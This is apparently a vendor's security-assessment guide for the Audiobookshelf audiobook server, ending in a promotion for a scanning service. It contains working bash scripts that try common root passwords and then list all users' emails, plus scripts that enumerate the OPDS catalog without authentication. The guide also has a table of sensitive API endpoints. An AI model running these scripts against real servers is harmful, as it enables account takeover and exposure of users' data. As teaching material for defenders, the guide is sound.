Audiobookshelf Security Testing: Default Credentials, API Token, OPDS Feed, and User Management

Audiobookshelf is one of the most widely deployed self-hosted audiobook and podcast server applications, storing purchased audiobooks, podcast subscriptions, and reading progress data. Its security assessment covers: Audiobookshelf creates a root admin account on first startup with a password set during the initial setup wizard — many deployments use weak passwords like "root" or "password" for convenience; Audiobookshelf's REST API uses JWT tokens returned from /login — admin tokens provide full access to library management, user creation, and server settings; Audiobookshelf's OPDS catalog at /opds enables e-reader and podcast app clients to browse and download content — when allowOpdsWithoutCredentials is enabled (the default), the full audiobook catalog is accessible without authentication; Audiobookshelf's server backup feature creates a downloadable archive of all database content including user accounts; and admin users can access listening progress and statistics for all users on the instance. This guide covers systematic Audiobookshelf security assessment.

Table of Contents

  1. Credential Testing and API Token Access
  2. OPDS Feed Unauthenticated Access
  3. Backup Database Download
  4. Audiobookshelf Security Hardening

Credential Testing and API Token Access

# Audiobookshelf credential testing — root admin account with common passwords
ABS_URL="https://abs.example.com"

# Test common root account passwords
for PASS in "root" "password" "admin" "audiobookshelf" "abs"; do
  RESPONSE=$(curl -s -X POST "${ABS_URL}/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"root\",\"password\":\"${PASS}\"}" 2>/dev/null)
  TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
print(user.get('token',''))
" 2>/dev/null)
  if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
    echo "AUTH SUCCESS: root/${PASS}"
    echo "API token: ${TOKEN:0:50}..."
    # Get all users
    curl -s "${ABS_URL}/api/users" \
      -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"username\")} ({u.get(\"email\",\"?\")}) type={u.get(\"type\")}')
" 2>/dev/null
    break
  fi
done

OPDS Feed Unauthenticated Access

# Audiobookshelf OPDS catalog — may be accessible without credentials
ABS_URL="https://abs.example.com"

# Test OPDS catalog access without authentication
OPDS_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${ABS_URL}/opds" 2>/dev/null)
echo "OPDS catalog HTTP status: ${OPDS_STATUS}"

# If accessible (200), enumerate the catalog
curl -s "${ABS_URL}/opds" 2>/dev/null | \
  python3 -c "
import sys, xml.etree.ElementTree as ET
try:
    root = ET.parse(sys.stdin).getroot()
    ns = {'atom': 'http://www.w3.org/2005/Atom', 'opds': 'http://opds-spec.org/2010/catalog'}
    entries = root.findall('atom:entry', ns)
    print(f'OPDS catalog accessible — {len(entries)} root entries')
    for e in entries[:5]:
        title = e.find('atom:title', ns)
        if title is not None:
            print(f'  {title.text}')
except Exception as ex:
    print(f'Error: {ex}')
" 2>/dev/null

# Browse library contents through OPDS without authentication
curl -s "${ABS_URL}/opds/libraries" 2>/dev/null | head -30

Audiobookshelf Security Hardening

Audiobookshelf Security Hardening Checklist:
Security TestMethodRisk
Weak root admin passwordPOST /login with root/password, root/root, root/admin — JWT token gives full library management, user creation, server settings, and backup download accessCritical
OPDS unauthenticated access when allowOpdsWithoutCredentials=trueGET /opds without credentials — full audiobook catalog browsable and downloadable; all library content accessible without authenticationHigh
Server backup download exposing full databaseGET /api/backups/download with admin JWT — backup archive contains all user accounts, library metadata, and listening historyHigh
All user listening history accessible to adminGET /api/users/{id}/listening-sessions with admin token — complete listening history and progress for every user on the instanceMedium
Library item download without per-library authGET /api/items/{id}/download with any user token — download audiobook files if library permissions are misconfiguredHigh
User enumeration via admin APIGET /api/users with admin token — lists all registered users including usernames, emails, and account typesMedium

Automate Audiobookshelf Security Testing

Ironimo tests Audiobookshelf deployments for weak root admin passwords via the /login endpoint, OPDS feed unauthenticated access when allowOpdsWithoutCredentials is enabled exposing the full audiobook catalog, server backup download revealing all user accounts and library metadata, user listening history enumeration via the admin API, library item download permission testing, and user account enumeration.

Start free scan